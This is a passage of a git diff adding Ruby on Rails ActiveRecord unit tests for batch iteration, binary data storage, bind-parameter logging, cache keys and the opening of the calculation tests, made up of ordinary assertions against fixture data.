+      Post.find_in_batches(batch_size: 1, finish: 5) do |batch|
+        assert_kind_of Array, batch
+        assert_kind_of Post, batch.first
+      end
+    end
+  end
+
+  def test_find_in_batches_shouldnt_execute_query_unless_needed
+    assert_queries(2) do
+      Post.find_in_batches(batch_size: @total) { |batch| assert_kind_of Array, batch }
+    end
+
+    assert_queries(1) do
+      Post.find_in_batches(batch_size: @total + 1) { |batch| assert_kind_of Array, batch }
+    end
+  end
+
+  def test_find_in_batches_should_quote_batch_order
+    c = Post.connection
+    assert_sql(/ORDER BY #{c.quote_table_name('posts')}\.#{c.quote_column_name('id')}/) do
+      Post.find_in_batches(batch_size: 1) do |batch|
+        assert_kind_of Array, batch
+        assert_kind_of Post, batch.first
+      end
+    end
+  end
+
+  def test_find_in_batches_should_not_use_records_after_yielding_them_in_case_original_array_is_modified
+    not_a_post = "not a post".dup
+    def not_a_post.id; end
+    not_a_post.stub(:id, -> { raise StandardError.new("not_a_post had #id called on it") }) do
+      assert_nothing_raised do
+        Post.find_in_batches(batch_size: 1) do |batch|
+          assert_kind_of Array, batch
+          assert_kind_of Post, batch.first
+
+          batch.map! { not_a_post }
+        end
+      end
+    end
+  end
+
+  def test_find_in_batches_should_ignore_the_order_default_scope
+    # First post is with title scope
+    first_post = PostWithDefaultScope.first
+    posts = []
+    PostWithDefaultScope.find_in_batches  do |batch|
+      posts.concat(batch)
+    end
+    # posts.first will be ordered using id only. Title order scope should not apply here
+    assert_not_equal first_post, posts.first
+    assert_equal posts(:welcome).id, posts.first.id
+  end
+
+  def test_find_in_batches_should_error_on_ignore_the_order
+    assert_raise(ArgumentError) do
+      PostWithDefaultScope.find_in_batches(error_on_ignore: true) {}
+    end
+  end
+
+  def test_find_in_batches_should_not_error_if_config_overridden
+    # Set the config option which will be overridden
+    prev = ActiveRecord::Base.error_on_ignored_order
+    ActiveRecord::Base.error_on_ignored_order = true
+    assert_nothing_raised do
+      PostWithDefaultScope.find_in_batches(error_on_ignore: false) {}
+    end
+  ensure
+    # Set back to default
+    ActiveRecord::Base.error_on_ignored_order = prev
+  end
+
+  def test_find_in_batches_should_error_on_config_specified_to_error
+    # Set the config option
+    prev = ActiveRecord::Base.error_on_ignored_order
+    ActiveRecord::Base.error_on_ignored_order = true
+    assert_raise(ArgumentError) do
+      PostWithDefaultScope.find_in_batches() {}
+    end
+  ensure
+    # Set back to default
+    ActiveRecord::Base.error_on_ignored_order = prev
+  end
+
+  def test_find_in_batches_should_not_error_by_default
+    assert_nothing_raised do
+      PostWithDefaultScope.find_in_batches() {}
+    end
+  end
+
+  def test_find_in_batches_should_not_ignore_the_default_scope_if_it_is_other_then_order
+    special_posts_ids = SpecialPostWithDefaultScope.all.map(&:id).sort
+    posts = []
+    SpecialPostWithDefaultScope.find_in_batches do |batch|
+      posts.concat(batch)
+    end
+    assert_equal special_posts_ids, posts.map(&:id)
+  end
+
+  def test_find_in_batches_should_not_modify_passed_options
+    assert_nothing_raised do
+      Post.find_in_batches({ batch_size: 42, start: 1 }.freeze) {}
+    end
+  end
+
+  def test_find_in_batches_should_use_any_column_as_primary_key
+    nick_order_subscribers = Subscriber.order("nick asc")
+    start_nick = nick_order_subscribers.second.nick
+
+    subscribers = []
+    Subscriber.find_in_batches(batch_size: 1, start: start_nick) do |batch|
+      subscribers.concat(batch)
+    end
+
+    assert_equal nick_order_subscribers[1..-1].map(&:id), subscribers.map(&:id)
+  end
+
+  def test_find_in_batches_should_use_any_column_as_primary_key_when_start_is_not_specified
+    assert_queries(Subscriber.count + 1) do
+      Subscriber.find_in_batches(batch_size: 1) do |batch|
+        assert_kind_of Array, batch
+        assert_kind_of Subscriber, batch.first
+      end
+    end
+  end
+
+  def test_find_in_batches_should_return_an_enumerator
+    enum = nil
+    assert_no_queries do
+      enum = Post.find_in_batches(batch_size: 1)
+    end
+    assert_queries(4) do
+      enum.first(4) do |batch|
+        assert_kind_of Array, batch
+        assert_kind_of Post, batch.first
+      end
+    end
+  end
+
+  test "find_in_batches should honor limit if passed a block" do
+    limit = @total - 1
+    total = 0
+
+    Post.limit(limit).find_in_batches do |batch|
+      total += batch.size
+    end
+
+    assert_equal limit, total
+  end
+
+  test "find_in_batches should honor limit if no block is passed" do
+    limit = @total - 1
+    total = 0
+
+    Post.limit(limit).find_in_batches.each do |batch|
+      total += batch.size
+    end
+
+    assert_equal limit, total
+  end
+
+  def test_in_batches_should_not_execute_any_query
+    assert_no_queries do
+      assert_kind_of ActiveRecord::Batches::BatchEnumerator, Post.in_batches(of: 2)
+    end
+  end
+
+  def test_in_batches_should_yield_relation_if_block_given
+    assert_queries(6) do
+      Post.in_batches(of: 2) do |relation|
+        assert_kind_of ActiveRecord::Relation, relation
+      end
+    end
+  end
+
+  def test_in_batches_should_be_enumerable_if_no_block_given
+    assert_queries(6) do
+      Post.in_batches(of: 2).each do |relation|
+        assert_kind_of ActiveRecord::Relation, relation
+      end
+    end
+  end
+
+  def test_in_batches_each_record_should_yield_record_if_block_is_given
+    assert_queries(6) do
+      Post.in_batches(of: 2).each_record do |post|
+        assert post.title.present?
+        assert_kind_of Post, post
+      end
+    end
+  end
+
+  def test_in_batches_each_record_should_return_enumerator_if_no_block_given
+    assert_queries(6) do
+      Post.in_batches(of: 2).each_record.with_index do |post, i|
+        assert post.title.present?
+        assert_kind_of Post, post
+      end
+    end
+  end
+
+  def test_in_batches_each_record_should_be_ordered_by_id
+    ids = Post.order("id ASC").pluck(:id)
+    assert_queries(6) do
+      Post.in_batches(of: 2).each_record.with_index do |post, i|
+        assert_equal ids[i], post.id
+      end
+    end
+  end
+
+  def test_in_batches_update_all_affect_all_records
+    assert_queries(6 + 6) do # 6 selects, 6 updates
+      Post.in_batches(of: 2).update_all(title: "updated-title")
+    end
+    assert_equal Post.all.pluck(:title), ["updated-title"] * Post.count
+  end
+
+  def test_in_batches_delete_all_should_not_delete_records_in_other_batches
+    not_deleted_count = Post.where("id <= 2").count
+    Post.where("id > 2").in_batches(of: 2).delete_all
+    assert_equal 0, Post.where("id > 2").count
+    assert_equal not_deleted_count, Post.count
+  end
+
+  def test_in_batches_should_not_be_loaded
+    Post.in_batches(of: 1) do |relation|
+      assert_not relation.loaded?
+    end
+
+    Post.in_batches(of: 1, load: false) do |relation|
+      assert_not relation.loaded?
+    end
+  end
+
+  def test_in_batches_should_be_loaded
+    Post.in_batches(of: 1, load: true) do |relation|
+      assert relation.loaded?
+    end
+  end
+
+  def test_in_batches_if_not_loaded_executes_more_queries
+    assert_queries(@total + 1) do
+      Post.in_batches(of: 1, load: false) do |relation|
+        assert_not relation.loaded?
+      end
+    end
+  end
+
+  def test_in_batches_should_return_relations
+    assert_queries(@total + 1) do
+      Post.in_batches(of: 1) do |relation|
+        assert_kind_of ActiveRecord::Relation, relation
+      end
+    end
+  end
+
+  def test_in_batches_should_start_from_the_start_option
+    post = Post.order("id ASC").where("id >= ?", 2).first
+    assert_queries(2) do
+      relation = Post.in_batches(of: 1, start: 2).first
+      assert_equal post, relation.first
+    end
+  end
+
+  def test_in_batches_should_end_at_the_finish_option
+    post = Post.order("id DESC").where("id <= ?", 5).first
+    assert_queries(7) do
+      relation = Post.in_batches(of: 1, finish: 5, load: true).reverse_each.first
+      assert_equal post, relation.last
+    end
+  end
+
+  def test_in_batches_shouldnt_execute_query_unless_needed
+    assert_queries(2) do
+      Post.in_batches(of: @total) { |relation| assert_kind_of ActiveRecord::Relation, relation }
+    end
+
+    assert_queries(1) do
+      Post.in_batches(of: @total + 1) { |relation| assert_kind_of ActiveRecord::Relation, relation }
+    end
+  end
+
+  def test_in_batches_should_quote_batch_order
+    c = Post.connection
+    assert_sql(/ORDER BY #{c.quote_table_name('posts')}\.#{c.quote_column_name('id')}/) do
+      Post.in_batches(of: 1) do |relation|
+        assert_kind_of ActiveRecord::Relation, relation
+        assert_kind_of Post, relation.first
+      end
+    end
+  end
+
+  def test_in_batches_should_not_use_records_after_yielding_them_in_case_original_array_is_modified
+    not_a_post = "not a post".dup
+    def not_a_post.id
+      raise StandardError.new("not_a_post had #id called on it")
+    end
+
+    assert_nothing_raised do
+      Post.in_batches(of: 1) do |relation|
+        assert_kind_of ActiveRecord::Relation, relation
+        assert_kind_of Post, relation.first
+
+        relation = [not_a_post] * relation.count
+      end
+    end
+  end
+
+  def test_in_batches_should_not_ignore_default_scope_without_order_statements
+    special_posts_ids = SpecialPostWithDefaultScope.all.map(&:id).sort
+    posts = []
+    SpecialPostWithDefaultScope.in_batches do |relation|
+      posts.concat(relation)
+    end
+    assert_equal special_posts_ids, posts.map(&:id)
+  end
+
+  def test_in_batches_should_not_modify_passed_options
+    assert_nothing_raised do
+      Post.in_batches({ of: 42, start: 1 }.freeze) {}
+    end
+  end
+
+  def test_in_batches_should_use_any_column_as_primary_key
+    nick_order_subscribers = Subscriber.order("nick asc")
+    start_nick = nick_order_subscribers.second.nick
+
+    subscribers = []
+    Subscriber.in_batches(of: 1, start: start_nick) do |relation|
+      subscribers.concat(relation)
+    end
+
+    assert_equal nick_order_subscribers[1..-1].map(&:id), subscribers.map(&:id)
+  end
+
+  def test_in_batches_should_use_any_column_as_primary_key_when_start_is_not_specified
+    assert_queries(Subscriber.count + 1) do
+      Subscriber.in_batches(of: 1, load: true) do |relation|
+        assert_kind_of ActiveRecord::Relation, relation
+        assert_kind_of Subscriber, relation.first
+      end
+    end
+  end
+
+  def test_in_batches_should_return_an_enumerator
+    enum = nil
+    assert_no_queries do
+      enum = Post.in_batches(of: 1)
+    end
+    assert_queries(4) do
+      enum.first(4) do |relation|
+        assert_kind_of ActiveRecord::Relation, relation
+        assert_kind_of Post, relation.first
+      end
+    end
+  end
+
+  def test_in_batches_relations_should_not_overlap_with_each_other
+    seen_posts = []
+    Post.in_batches(of: 2, load: true) do |relation|
+      relation.to_a.each do |post|
+        assert_not seen_posts.include?(post)
+        seen_posts << post
+      end
+    end
+  end
+
+  def test_in_batches_relations_with_condition_should_not_overlap_with_each_other
+    seen_posts = []
+    author_id = Post.first.author_id
+    posts_by_author = Post.where(author_id: author_id)
+    Post.in_batches(of: 2) do |batch|
+      seen_posts += batch.where(author_id: author_id)
+    end
+
+    assert_equal posts_by_author.pluck(:id).sort, seen_posts.map(&:id).sort
+  end
+
+  def test_in_batches_relations_update_all_should_not_affect_matching_records_in_other_batches
+    Post.update_all(author_id: 0)
+    person = Post.last
+    person.update_attributes(author_id: 1)
+
+    Post.in_batches(of: 2) do |batch|
+      batch.where("author_id >= 1").update_all("author_id = author_id + 1")
+    end
+    assert_equal 2, person.reload.author_id # incremented only once
+  end
+
+  def test_find_in_batches_should_return_a_sized_enumerator
+    assert_equal 11, Post.find_in_batches(batch_size: 1).size
+    assert_equal 6, Post.find_in_batches(batch_size: 2).size
+    assert_equal 4, Post.find_in_batches(batch_size: 2, start: 4).size
+    assert_equal 4, Post.find_in_batches(batch_size: 3).size
+    assert_equal 1, Post.find_in_batches(batch_size: 10_000).size
+  end
+
+  [true, false].each do |load|
+    test "in_batches should return limit records when limit is less than batch size and load is #{load}" do
+      limit      = 3
+      batch_size = 5
+      total      = 0
+
+      Post.limit(limit).in_batches(of: batch_size, load: load) do |batch|
+        total += batch.count
+      end
+
+      assert_equal limit, total
+    end
+
+    test "in_batches should return limit records when limit is greater than batch size and load is #{load}" do
+      limit      = 5
+      batch_size = 3
+      total      = 0
+
+      Post.limit(limit).in_batches(of: batch_size, load: load) do |batch|
+        total += batch.count
+      end
+
+      assert_equal limit, total
+    end
+
+    test "in_batches should return limit records when limit is a multiple of the batch size and load is #{load}" do
+      limit      = 6
+      batch_size = 3
+      total      = 0
+
+      Post.limit(limit).in_batches(of: batch_size, load: load) do |batch|
+        total += batch.count
+      end
+
+      assert_equal limit, total
+    end
+
+    test "in_batches should return no records if the limit is 0 and load is #{load}" do
+      limit      = 0
+      batch_size = 1
+      total      = 0
+
+      Post.limit(limit).in_batches(of: batch_size, load: load) do |batch|
+        total += batch.count
+      end
+
+      assert_equal limit, total
+    end
+
+    test "in_batches should return all if the limit is greater than the number of records when load is #{load}" do
+      limit      = @total + 1
+      batch_size = 1
+      total      = 0
+
+      Post.limit(limit).in_batches(of: batch_size, load: load) do |batch|
+        total += batch.count
+      end
+
+      assert_equal @total, total
+    end
+  end
+
+  test ".error_on_ignored_order_or_limit= is deprecated" do
+    begin
+      prev = ActiveRecord::Base.error_on_ignored_order
+      assert_deprecated "Please use error_on_ignored_order= instead." do
+        ActiveRecord::Base.error_on_ignored_order_or_limit = true
+      end
+      assert ActiveRecord::Base.error_on_ignored_order
+    ensure
+      ActiveRecord::Base.error_on_ignored_order = prev
+    end
+  end
+
+  test ".error_on_ignored_order_or_limit is deprecated" do
+    expected = ActiveRecord::Base.error_on_ignored_order
+    actual = assert_deprecated "Please use error_on_ignored_order instead." do
+      ActiveRecord::Base.error_on_ignored_order_or_limit
+    end
+    assert_equal expected, actual
+  end
+
+  test "#error_on_ignored_order_or_limit is deprecated" do
+    expected = ActiveRecord::Base.error_on_ignored_order
+    actual = assert_deprecated "Please use error_on_ignored_order instead." do
+      Post.new.error_on_ignored_order_or_limit
+    end
+    assert_equal expected, actual
+  end
+
+  test ".find_each bypasses the query cache for its own queries" do
+    Post.cache do
+      assert_queries(2) do
+        Post.find_each {}
+        Post.find_each {}
+      end
+    end
+  end
+
+  test ".find_each does not disable the query cache inside the given block" do
+    Post.cache do
+      Post.find_each(start: 1, finish: 1) do |post|
+        assert_queries(1) do
+          post.comments.count
+          post.comments.count
+        end
+      end
+    end
+  end
+
+  test ".find_in_batches bypasses the query cache for its own queries" do
+    Post.cache do
+      assert_queries(2) do
+        Post.find_in_batches {}
+        Post.find_in_batches {}
+      end
+    end
+  end
+
+  test ".find_in_batches does not disable the query cache inside the given block" do
+    Post.cache do
+      Post.find_in_batches(start: 1, finish: 1) do |batch|
+        assert_queries(1) do
+          batch.first.comments.count
+          batch.first.comments.count
+        end
+      end
+    end
+  end
+
+  test ".in_batches bypasses the query cache for its own queries" do
+    Post.cache do
+      assert_queries(2) do
+        Post.in_batches {}
+        Post.in_batches {}
+      end
+    end
+  end
+
+  test ".in_batches does not disable the query cache inside the given block" do
+    Post.cache do
+      Post.in_batches(start: 1, finish: 1) do |relation|
+        assert_queries(1) do
+          relation.count
+          relation.count
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/binary_test.rb b/activerecord/test/cases/binary_test.rb
new file mode 100644
index 0000000000..d5376ece69
--- /dev/null
+++ b/activerecord/test/cases/binary_test.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+# Without using prepared statements, it makes no sense to test
+# BLOB data with DB2, because the length of a statement
+# is limited to 32KB.
+unless current_adapter?(:DB2Adapter)
+  require "models/binary"
+
+  class BinaryTest < ActiveRecord::TestCase
+    FIXTURES = %w(flowers.jpg example.log test.txt)
+
+    def test_mixed_encoding
+      str = "\x80".dup
+      str.force_encoding("ASCII-8BIT")
+
+      binary = Binary.new name: "いただきます！", data: str
+      binary.save!
+      binary.reload
+      assert_equal str, binary.data
+
+      name = binary.name
+
+      assert_equal "いただきます！", name
+    end
+
+    def test_load_save
+      Binary.delete_all
+
+      FIXTURES.each do |filename|
+        data = File.read(ASSETS_ROOT + "/#{filename}")
+        data.force_encoding("ASCII-8BIT")
+        data.freeze
+
+        bin = Binary.new(data: data)
+        assert_equal data, bin.data, "Newly assigned data differs from original"
+
+        bin.save!
+        assert_equal data, bin.data, "Data differs from original after save"
+
+        assert_equal data, bin.reload.data, "Reloaded data differs from original"
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/bind_parameter_test.rb b/activerecord/test/cases/bind_parameter_test.rb
new file mode 100644
index 0000000000..91cc49385c
--- /dev/null
+++ b/activerecord/test/cases/bind_parameter_test.rb
@@ -0,0 +1,108 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/author"
+require "models/post"
+
+if ActiveRecord::Base.connection.prepared_statements
+  module ActiveRecord
+    class BindParameterTest < ActiveRecord::TestCase
+      fixtures :topics, :authors, :author_addresses, :posts
+
+      class LogListener
+        attr_accessor :calls
+
+        def initialize
+          @calls = []
+        end
+
+        def call(*args)
+          calls << args
+        end
+      end
+
+      def setup
+        super
+        @connection = ActiveRecord::Base.connection
+        @subscriber = LogListener.new
+        @pk = Topic.columns_hash[Topic.primary_key]
+        @subscription = ActiveSupport::Notifications.subscribe("sql.active_record", @subscriber)
+      end
+
+      def teardown
+        ActiveSupport::Notifications.unsubscribe(@subscription)
+      end
+
+      def test_bind_from_join_in_subquery
+        subquery = Author.joins(:thinking_posts).where(name: "David")
+        scope = Author.from(subquery, "authors").where(id: 1)
+        assert_equal 1, scope.count
+      end
+
+      def test_binds_are_logged
+        sub   = Arel::Nodes::BindParam.new(1)
+        binds = [Relation::QueryAttribute.new("id", 1, Type::Value.new)]
+        sql   = "select * from topics where id = #{sub.to_sql}"
+
+        @connection.exec_query(sql, "SQL", binds)
+
+        message = @subscriber.calls.find { |args| args[4][:sql] == sql }
+        assert_equal binds, message[4][:binds]
+      end
+
+      def test_find_one_uses_binds
+        Topic.find(1)
+        message = @subscriber.calls.find { |args| args[4][:binds].any? { |attr| attr.value == 1 } }
+        assert message, "expected a message with binds"
+      end
+
+      def test_logs_binds_after_type_cast
+        binds = [Relation::QueryAttribute.new("id", "10", Type::Integer.new)]
+        assert_logs_binds(binds)
+      end
+
+      def test_logs_legacy_binds_after_type_cast
+        binds = [[@pk, "10"]]
+        assert_logs_binds(binds)
+      end
+
+      def test_deprecate_supports_statement_cache
+        assert_deprecated { ActiveRecord::Base.connection.supports_statement_cache? }
+      end
+
+      private
+        def assert_logs_binds(binds)
+          payload = {
+            name: "SQL",
+            sql: "select * from topics where id = ?",
+            binds: binds,
+            type_casted_binds: @connection.type_casted_binds(binds)
+          }
+
+          event = ActiveSupport::Notifications::Event.new(
+            "foo",
+            Time.now,
+            Time.now,
+            123,
+            payload)
+
+          logger = Class.new(ActiveRecord::LogSubscriber) {
+            attr_reader :debugs
+
+            def initialize
+              super
+              @debugs = []
+            end
+
+            def debug(str)
+              @debugs << str
+            end
+          }.new
+
+          logger.sql(event)
+          assert_match([[@pk.name, 10]].inspect, logger.debugs.first)
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/cache_key_test.rb b/activerecord/test/cases/cache_key_test.rb
new file mode 100644
index 0000000000..8f2f2c6186
--- /dev/null
+++ b/activerecord/test/cases/cache_key_test.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class CacheKeyTest < ActiveRecord::TestCase
+    self.use_transactional_tests = false
+
+    class CacheMe < ActiveRecord::Base
+      self.cache_versioning = false
+    end
+
+    class CacheMeWithVersion < ActiveRecord::Base
+      self.cache_versioning = true
+    end
+
+    setup do
+      @connection = ActiveRecord::Base.connection
+      @connection.create_table(:cache_mes, force: true) { |t| t.timestamps }
+      @connection.create_table(:cache_me_with_versions, force: true) { |t| t.timestamps }
+    end
+
+    teardown do
+      @connection.drop_table :cache_mes, if_exists: true
+      @connection.drop_table :cache_me_with_versions, if_exists: true
+    end
+
+    test "cache_key format is not too precise" do
+      record = CacheMe.create
+      key = record.cache_key
+
+      assert_equal key, record.reload.cache_key
+    end
+
+    test "cache_key has no version when versioning is on" do
+      record = CacheMeWithVersion.create
+      assert_equal "active_record/cache_key_test/cache_me_with_versions/#{record.id}", record.cache_key
+    end
+
+    test "cache_version is only there when versioning is on" do
+      assert CacheMeWithVersion.create.cache_version.present?
+      assert_not CacheMe.create.cache_version.present?
+    end
+
+    test "cache_key_with_version always has both key and version" do
+      r1 = CacheMeWithVersion.create
+      assert_equal "active_record/cache_key_test/cache_me_with_versions/#{r1.id}-#{r1.updated_at.to_s(:usec)}", r1.cache_key_with_version
+
+      r2 = CacheMe.create
+      assert_equal "active_record/cache_key_test/cache_mes/#{r2.id}-#{r2.updated_at.to_s(:usec)}", r2.cache_key_with_version
+    end
+  end
+end
diff --git a/activerecord/test/cases/calculations_test.rb b/activerecord/test/cases/calculations_test.rb
new file mode 100644
index 0000000000..92d071187d
--- /dev/null
+++ b/activerecord/test/cases/calculations_test.rb
@@ -0,0 +1,888 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/book"
+require "models/club"
+require "models/company"
+require "models/contract"
+require "models/edge"
+require "models/organization"
+require "models/possession"
+require "models/topic"
+require "models/reply"
+require "models/numeric_data"
+require "models/minivan"
+require "models/speedometer"
+require "models/ship_part"
+require "models/treasure"
+require "models/developer"
+require "models/post"
+require "models/comment"
+require "models/rating"
+
+class CalculationsTest < ActiveRecord::TestCase
+  fixtures :companies, :accounts, :topics, :speedometers, :minivans, :books
+
+  def test_should_sum_field
+    assert_equal 318, Account.sum(:credit_limit)
+  end
+
+  def test_should_sum_arel_attribute
+    assert_equal 318, Account.sum(Account.arel_table[:credit_limit])
+  end
+
+  def test_should_average_field
+    value = Account.average(:credit_limit)
+    assert_equal 53.0, value
+  end
+
+  def test_should_average_arel_attribute
+    value = Account.average(Account.arel_table[:credit_limit])
+    assert_equal 53.0, value
+  end
+
+  def test_should_resolve_aliased_attributes
+    assert_equal 318, Account.sum(:available_credit)
+  end
+
+  def test_should_return_decimal_average_of_integer_field
+    value = Account.average(:id)
+    assert_equal 3.5, value
+  end
+
+  def test_should_return_integer_average_if_db_returns_such
+    ShipPart.delete_all
+    ShipPart.create!(id: 3, name: "foo")
+    value = ShipPart.average(:id)
+    assert_equal 3, value
+  end
+
+  def test_should_return_nil_as_average
+    assert_nil NumericData.average(:bank_balance)
+  end
+
+  def test_should_get_maximum_of_field
+    assert_equal 60, Account.maximum(:credit_limit)
+  end
+
+  def test_should_get_maximum_of_arel_attribute
+    assert_equal 60, Account.maximum(Account.arel_table[:credit_limit])
+  end
+
+  def test_should_get_maximum_of_field_with_include
+    assert_equal 55, Account.where("companies.name != 'Summit'").references(:companies).includes(:firm).maximum(:credit_limit)
+  end
+
+  def test_should_get_maximum_of_arel_attribute_with_include
+    assert_equal 55, Account.where("companies.name != 'Summit'").references(:companies).includes(:firm).maximum(Account.arel_table[:credit_limit])
+  end
+
+  def test_should_get_minimum_of_field
+    assert_equal 50, Account.minimum(:credit_limit)
+  end
+
+  def test_should_get_minimum_of_arel_attribute
+    assert_equal 50, Account.minimum(Account.arel_table[:credit_limit])
+  end
+
+  def test_should_group_by_field
+    c = Account.group(:firm_id).sum(:credit_limit)
+    [1, 6, 2].each do |firm_id|
+      assert_includes c.keys, firm_id, "Group #{c.inspect} does not contain firm_id #{firm_id}"
+    end
+  end
+
+  def test_should_group_by_arel_attribute
+    c = Account.group(Account.arel_table[:firm_id]).sum(:credit_limit)
+    [1, 6, 2].each do |firm_id|
+      assert_includes c.keys, firm_id, "Group #{c.inspect} does not contain firm_id #{firm_id}"
+    end
+  end
+
+  def test_should_group_by_multiple_fields
+    c = Account.group("firm_id", :credit_limit).count(:all)
+    [ [nil, 50], [1, 50], [6, 50], [6, 55], [9, 53], [2, 60] ].each { |firm_and_limit| assert_includes c.keys, firm_and_limit }
+  end
+
+  def test_should_group_by_multiple_fields_having_functions
+    c = Topic.group(:author_name, "COALESCE(type, title)").count(:all)
+    assert_equal 1, c[["Carl", "The Third Topic of the day"]]
+    assert_equal 1, c[["Mary", "Reply"]]
+    assert_equal 1, c[["David", "The First Topic"]]
+    assert_equal 1, c[["Carl", "Reply"]]
+  end
+
+  def test_should_group_by_summed_field
+    c = Account.group(:firm_id).sum(:credit_limit)
+    assert_equal 50,   c[1]
+    assert_equal 105,  c[6]
+    assert_equal 60,   c[2]
+  end
+
+  def test_should_generate_valid_sql_with_joins_and_group
+    assert_nothing_raised do
+      AuditLog.joins(:developer).group(:id).count
+    end
+  end
+
+  def test_should_calculate_against_given_relation
+    developer = Developer.create!(name: "developer")
+    developer.audit_logs.create!(message: "first log")
+    developer.audit_logs.create!(message: "second log")
+
+    c = developer.audit_logs.joins(:developer).group(:id).count
+
+    assert_equal developer.audit_logs.count, c.size
+    developer.audit_logs.each do |log|
+      assert_equal 1, c[log.id]
+    end
+  end
+
+  def test_should_order_by_grouped_field
+    c = Account.group(:firm_id).order("firm_id").sum(:credit_limit)
+    assert_equal [1, 2, 6, 9], c.keys.compact
+  end
+
+  def test_should_order_by_calculation
+    c = Account.group(:firm_id).order("sum_credit_limit desc, firm_id").sum(:credit_limit)
+    assert_equal [105, 60, 53, 50, 50], c.keys.collect { |k| c[k] }
+    assert_equal [6, 2, 9, 1], c.keys.compact
+  end
+
+  def test_should_limit_calculation
+    c = Account.where("firm_id IS NOT NULL").group(:firm_id).order("firm_id").limit(2).sum(:credit_limit)
+    assert_equal [1, 2], c.keys.compact
+  end
+
+  def test_should_limit_calculation_with_offset
+    c = Account.where("firm_id IS NOT NULL").group(:firm_id).order("firm_id").
+     limit(2).offset(1).sum(:credit_limit)
+    assert_equal [2, 6], c.keys.compact
+  end
+
+  def test_limit_should_apply_before_count
+    accounts = Account.limit(4)
+
+    assert_equal 3, accounts.count(:firm_id)
+    assert_equal 3, accounts.select(:firm_id).count
+  end
+
+  def test_limit_should_apply_before_count_arel_attribute
+    accounts = Account.limit(4)
+
+    firm_id_attribute = Account.arel_table[:firm_id]
+    assert_equal 3, accounts.count(firm_id_attribute)
+    assert_equal 3, accounts.select(firm_id_attribute).count
+  end
+
+  def test_count_should_shortcut_with_limit_zero
+    accounts = Account.limit(0)
+
+    assert_no_queries { assert_equal 0, accounts.count }
+  end
+
+  def test_limit_is_kept
+    return if current_adapter?(:OracleAdapter)
+
+    queries = assert_sql { Account.limit(1).count }
+    assert_equal 1, queries.length
+    assert_match(/LIMIT/, queries.first)
+  end
+
+  def test_offset_is_kept
+    return if current_adapter?(:OracleAdapter)
+
+    queries = assert_sql { Account.offset(1).count }
+    assert_equal 1, queries.length
+    assert_match(/OFFSET/, queries.first)
+  end
+
+  def test_limit_with_offset_is_kept
+    return if current_adapter?(:OracleAdapter)
+
+    queries = assert_sql { Account.limit(1).offset(1).count }
+    assert_equal 1, queries.length
+    assert_match(/LIMIT/, queries.first)
+    assert_match(/OFFSET/, queries.first)
+  end
+
+  def test_no_limit_no_offset
+    queries = assert_sql { Account.count }
+    assert_equal 1, queries.length
+    assert_no_match(/LIMIT/, queries.first)
+    assert_no_match(/OFFSET/, queries.first)
+  end
+
+  def test_count_on_invalid_columns_raises
+    e = assert_raises(ActiveRecord::StatementInvalid) {
+      Account.select("credit_limit, firm_name").count
+    }
+
+    assert_match %r{accounts}i, e.message
+    assert_match "credit_limit, firm_name", e.message
+  end
+
+  def test_apply_distinct_in_count
+    queries = assert_sql do
+      Account.distinct.count
+      Account.group(:firm_id).distinct.count
+    end
+
+    queries.each do |query|
+      # `table_alias_length` in `column_alias_for` would execute
+      # "SHOW max_identifier_length" statement in PostgreSQL adapter.
+      next if query == "SHOW max_identifier_length"
+      assert_match %r{\ASELECT(?! DISTINCT) COUNT\(DISTINCT\b}, query
+    end
+  end
+
+  def test_distinct_count_with_order_and_limit
+    assert_equal 4, Account.distinct.order(:firm_id).limit(4).count
+  end
+
+  def test_distinct_count_with_order_and_offset
+    assert_equal 4, Account.distinct.order(:firm_id).offset(2).count
+  end
+
+  def test_distinct_count_with_order_and_limit_and_offset
+    assert_equal 4, Account.distinct.order(:firm_id).limit(4).offset(2).count
+  end
+
+  def test_distinct_joins_count_with_order_and_limit
+    assert_equal 3, Account.joins(:firm).distinct.order(:firm_id).limit(3).count
+  end
+
+  def test_distinct_joins_count_with_order_and_offset
+    assert_equal 3, Account.joins(:firm).distinct.order(:firm_id).offset(2).count
+  end
+
+  def test_distinct_joins_count_with_order_and_limit_and_offset
+    assert_equal 3, Account.joins(:firm).distinct.order(:firm_id).limit(3).offset(2).count
+  end
+
+  def test_should_group_by_summed_field_having_condition
+    c = Account.group(:firm_id).having("sum(credit_limit) > 50").sum(:credit_limit)
+    assert_nil        c[1]
+    assert_equal 105, c[6]
+    assert_equal 60,  c[2]
+  end
+
+  def test_should_group_by_summed_field_having_condition_from_select
+    skip unless current_adapter?(:Mysql2Adapter, :SQLite3Adapter)
+    c = Account.select("MIN(credit_limit) AS min_credit_limit").group(:firm_id).having("min_credit_limit > 50").sum(:credit_limit)
+    assert_nil       c[1]
+    assert_equal 60, c[2]
+    assert_equal 53, c[9]
+  end
+
+  def test_should_group_by_summed_association
+    c = Account.group(:firm).sum(:credit_limit)
+    assert_equal 50,   c[companies(:first_firm)]
+    assert_equal 105,  c[companies(:rails_core)]
+    assert_equal 60,   c[companies(:first_client)]
+  end
+
+  def test_should_sum_field_with_conditions
+    assert_equal 105, Account.where("firm_id = 6").sum(:credit_limit)
+  end
+
+  def test_should_return_zero_if_sum_conditions_return_nothing
+    assert_equal 0, Account.where("1 = 2").sum(:credit_limit)
+    assert_equal 0, companies(:rails_core).companies.where("1 = 2").sum(:id)
+  end
+
+  def test_sum_should_return_valid_values_for_decimals
+    NumericData.create(bank_balance: 19.83)
+    assert_equal 19.83, NumericData.sum(:bank_balance)
+  end
+
+  def test_should_return_type_casted_values_with_group_and_expression
+    assert_equal 0.5, Account.group(:firm_name).sum("0.01 * credit_limit")["37signals"]
+  end
+
+  def test_should_group_by_summed_field_with_conditions
+    c = Account.where("firm_id > 1").group(:firm_id).sum(:credit_limit)
+    assert_nil        c[1]
+    assert_equal 105, c[6]
+    assert_equal 60,  c[2]
+  end
+
+  def test_should_group_by_summed_field_with_conditions_and_having
+    c = Account.where("firm_id > 1").group(:firm_id).
+     having("sum(credit_limit) > 60").sum(:credit_limit)
+    assert_nil        c[1]
+    assert_equal 105, c[6]
+    assert_nil        c[2]
+  end
+
+  def test_should_group_by_fields_with_table_alias
